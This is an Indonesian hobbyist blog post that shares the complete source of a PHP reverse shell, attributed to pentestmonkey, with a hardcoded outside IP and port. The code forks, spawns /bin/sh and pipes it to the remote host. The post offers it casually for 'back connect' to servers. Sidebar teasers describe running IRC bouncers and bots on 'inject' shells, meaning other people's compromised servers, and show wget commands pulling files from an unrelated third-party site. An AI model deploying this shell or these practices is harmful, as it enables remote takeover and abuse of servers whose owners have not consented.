php-reverse-shell-1.0 Langsung ke konten utama

php-reverse-shell-1.0

hehhehee
ketemu lagi ma aku kekekekke
orang yg sotoy orang yg pelit orang yg menjengkelkan dha pokoknya
pada kesempatan ini cuma mau bagi2 script
php-reverse-shell-1.0

nih scriptnya


// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '205.134.245.10'; // CHANGE THIS
$port = 54445; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>





ini fungsinya untuk membuat back connect antara server dengan kompie kita ato dengan server laen
moga berguna
:d
wassalam thenk's

Komentar

Popular Posts

Membuat PSY di shell inject ala dopunk version

Assalamu’alaikum warahmatullahi wabarakatuh Mungkin kalian udah pada tau kan gmn caranya membuat psy di shell inject.. Ato jg masih pada banyakyg bingung gmn caranya buat psy di shell inject.. ^_^ Nah sebelum kita buat.apa sih psy itu??? Psy kalau menurutku sih yaitu sebuah software proxy di irc.jadi ip kita dig anti dengan ip shell or ip server yg kita punya.jadi bagi yg ke ban di dalnet ato di server manapun jadi tetep bias connect melalui psybnc. Banyak sekali keuntungan menggunakanpsybnc ini,yaitu ip kita di hide,terlindungi dari flooding,terus bias ngelog inbox atau private message ato lebih sering dikenal PV,dan bias jg melindungi nick kita dari drop services.jadi nick kita akan online terus menerus selama shell or server kita masih ada. Adapun langkah2 membuat psy ini adalah…… (ixixixixi kata2nya formil bnget -_-) Ok lanjut…. 1.siapkan shell u,inject ataupun tidak,halal ataupun haram,legal atau[pun illegal. (kalo boleh saran sih pake yg legal dan halal aja ya.. ^_^v) 2.setelah i

Bikin Forum Pake Blogger/Blogspot

ni ada sedikit tutor gimana caranya membuat forum dari blogspot.mungkin selama ini kalian berpikir membuat forum sangatlah susah.nah sekarang ada fasilitas yg membuat kita lebih gampang berkreasi.contoh jadinya seperti ini nah untuk cara-caranya sperti dibawah ini : 1. kalian harus pnya blog. ato biar enak buat baru az lg ya. 2. kemudian buka http://n3.nabble.com/free-forum.html 3. kemudian kita tinggal next2 az 4. kalo udah selesai jgn lp register dulu ya biar bisa ngotrol forum kita 5. login ke blog kalian,masuk ke tata letak dan pilih edithtml 6. Kemudian Cari Code body 7. kembali ke forum tadi,kemudian copas Javascript Code forum tersebut. letaknya ada di embedding options 8. kemudian paste code javascript tsb di bawah code body 9. nah kemudian save,jika ada peringatan kalian jangan ragu ya untuk pilih hapus widget 10. selesai dah.kalian bisa liat hasil forum yg kalian buat thenk's semoga berguna

Build Serper IRC di php shell dengan Unreal

Build Serper IRC di php shell dengan Unreal Assalamu'alaikum War. Wab. hai semua dah lama nih g nulis2 tentang pengetahuan seputar komputer,dikarenakan sifat pemales nya kambuh ixixixixixi.... pada kesempatan kali ini,saya akan mencoba berbagi tentang gimana caranya membuat suatu server irc dengan unreal di php shell, atau dengan kata laen pada kesempatan kali ini saya akan mencoba berbagi tentang cara membuil serper tanpa shell berbasis interface(cuma berbasis text). jadi kita g usah susah2 lagi memake ssh,vps ato root.kita bisa pake phpshell di server/host/inject untuk membuat serper irc ndiri. nah untuk membuat serper irc di php shell dengan unreal langkah-langkahna sebagai berikut : 1. siapkan shell nya ya... oh ya g setiap shell bisa di buat server irc. nah untuk mengetahui gimana cara mengetahui shell yg mana yang bisa buat server irc dan tidak kita cek portnya dulu.apakah port server tsb refused ato time out. nah kalo refused itu berarti bisa di

membuat Eggdrop yuk

assalamu'alaikum warahmatullahi wabarakatuh nahhh ketemu lagi ma orang oon.. ixixiixixixixi skrng ane coba mau menjabarkan gmn cara membuat bot eggdrop. tapi sebelumnya apa sih eggdrop itu?? egg drop adalah suatu robot irc yang di buat dari bahasa C,yang terdiri dari beberapa komponen tcl yang mempunyai banyak sekali Fungsi. eggdrop di buat pada tgl 1993 oleh robey pointer. membuat eggdrop ada dua cara. 1. membuat eggdrop dengan file eggyg udah terkompile 2. membuat eggdrop dengan menginstal dari awal. pada kesempatan kali ini saya akan mencoba menguraikan cara membuat eggdrop yang praktis langkah-langkahnya : 1. siapkan shell inject kalian.... yang halal aja ya ^_^v 2. wget file eggdari mana saja.kalo mau dari file egg yg udah ku edit silahkan aja,jadi tinggal ketik aja wget http://osc22ms2-cyberoffice.1fonet.fr/_notes/Activate/doc.tar.gz wget http://osc22ms2-cyberoffice.1fonet.fr/_notes/Activate/filesys.tar.gz wget http://osc22ms2-cyberoffice.1fonet.fr/_notes/Activate/httpd.tar.g

cara install .tar.gz atau tar.bz2 di linux

linux berbeda dengan windows,yg mana kalau mau pasang program kita tinggal klik 2x az di windows. beda halnya di linux yg filena berekstensi .tar.gz atau .tar.bz2.untuk menginstal file ini kita harus mengekstrak file tsb dengan dua cara yaitu dengan klik kanan ekstrak here or dengan menggunakan perintah tar xvzf namafile.tar.gz di terminal. kemudian masuk ke direktori atau folder yg di ekstrak dengan cd folder tyempat di ekstrak kemudian ketikkan ./configure setelah lakukan kompilasi dengan perintah make Lalu install (sebagai root) su #make install

CMS dopunkc0de

hehehehe dah lama nih g ngepost di web. karena kesibukan kale yaaa ahahahaha kaya artis aje, pada kesempatan kali ini saya akan membagi sesuatu yang mungkin bisa berguna untuk kita semua dalam hal menyampaikan berbagai informasi atau berbagi pengetahuan melalui media internet atau web. cms ialah suatu alat yang mempermudah kita untuk membuat suatu web dengan tujuan untuk berbagi pengetahuan atau menaympaikan suatu informasi melalui internet. cms dopunkc0de ini sangat sederhana sehingga mudah untuk dipergunakan dan bisa membuat thema sendiri. okelah langsung aja. untuk cara instalasi sangat mudah, sama halnya dengan instalasi cms yang lainnya. oh ya kalo ingin install hapus dulu file readme.txt di folder admin juga ya nah untuk cmsnya ada 2 versi untuk versi 1.0 silahkan download di sini untuk yang versi 1.1 silahkan di unduh di sini ] jika ada beberapa error atau keluhan silahkan di komen di chatbox ya... saya tunggu kritik dan saran nya bukan pujiannya yow.... thenk's w